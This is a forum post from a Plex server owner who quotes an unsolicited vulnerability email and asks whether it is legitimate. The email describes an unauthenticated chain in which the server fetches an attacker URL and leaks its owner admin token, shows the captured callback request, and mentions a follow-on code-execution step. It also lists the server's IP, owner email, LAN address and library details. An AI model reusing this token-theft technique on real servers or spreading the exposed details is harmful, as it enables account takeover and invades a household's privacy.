I received the email below. Not sure if its a scam or legit problem with our plex server configuration.
If anyone has any insight. I’'not sure what to do with this.
Hello,
This is responsible disclosure. I am a security researcher. While looking at internet-facing media servers I came across yours at 85.116.163.134:32400 (WillowNAS). I am writing to the Plex owner mailbox I saw on the server (skpnsf@gmail.com).
This is one finding. I have seen more critical issues in the same environment. I am sending this so you can patch it.
What I saw (no guesswork)
From the public internet, with no real Plex login, I saw the companion timeline path accept a junk token and then make your server call itself on loopback, then fetch a URL I control. Your Plex attached the owner admin token to that request.
Callback I received from 85.116.163.134:
GET /tkn HTTP/1.1
Host: 127.0.0.1.<callback>
User-Agent: Plex/Nine
X-Plex-Token: local-f454c506…b2eb9ec2
With that owner token I saw (read-only) what an admin can see. Sample of what is sitting on this box:
| What | Sample |
|---|---|
| Plex version | 1.42.2.10156-f737b826c (claimed) |
| Machine id | 87691d7ae5b24a9a9a4366b25ed24fe51364d9d6 |
| Server name | WillowNAS |
| Owner mailbox | skpnsf@gmail.com (MyPlex username) |
| Public / LAN | 85.116.163.134:32400 mapped to 192.168.1.176:32400 |
| Libraries | Movies 12 (movie); TV Shows 21 (show) |
| Disk paths | /share/CACHEDEV2_DATA/Movies, /share/CACHEDEV1_DATA/Sync/Movies, /share/TVShows |
| Title samples | Bullet Train (2022), The Devil Wears Prada 2 (2026), The Four Seasons (1981), Mary Poppins (1964), Mary Poppins Returns (2018), Mrs. Doubtfire (1993), Plainclothes (2025), Saving Mr. Banks (2013) |
| Show samples | Being Human (2008), The Boulet Brothers’ Dragula (2016), Can You Keep a Secret? (2026), The Comeback (2005), Crashing (2016), Dark (2017), The Expanse (2015), First Dates Ireland (2016) |
| Recently added | Season 11, Season 30, Season 6, Season 2, Season 8, Season 3 |
| Plex accounts | 53 (named samples: skpnsf, Bleier) |
| Devices | 185 clients (Apple TV (tvOS), Safari, MultiServer (Linux), Safari, Chrome, iPad (iOS), Safari, Safari, Safari, Chrome) |
| MyPlex cloud token | present (-yqs…; full value held, not pasted) |
I did not change settings, did not delete media, and did not run a shell on the box. On this Plex version the same owner token is enough for a follow-on write into the Codecs folder (remote code as the plex user). I stopped before that step.
Impact (why this hurts)
Anyone on the internet can become you on this Plex: watch or pull the library, see shared users, drive names, and the home LAN address 192.168.1.176. From there they can change Plex config or push the remaining code-execution step. That is household privacy plus a foothold on the LAN.
CVSS 3.1: 9.1 Critical
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
(Unauthenticated owner-token theft and full admin read/write of Plex state. I am not scoring 10.0 / 9.8 because I did not run the codec-write / code-execution step on your host.)
Fix: update Plex to 1.43.3.10861 or later, take the Plex port off the public internet, and rotate the Plex owner password / token for skpnsf@gmail.com (treat local-f454c506…b2eb9ec2 as burned).
Please isolate this server, sanitize it, and check the logs — an attacker might have used this chain to drop crypto miners.
Reference: mobeigi.com/blog/security/how-plex2shell-compromised-my-nas-for-weeks
Please confirm you got this.
Regards
Raj
Independent Security Researcher | Breaking systems. Building safer ones.
Bug bounty hunter. I do this for a living, For Donation - rrccyber.com
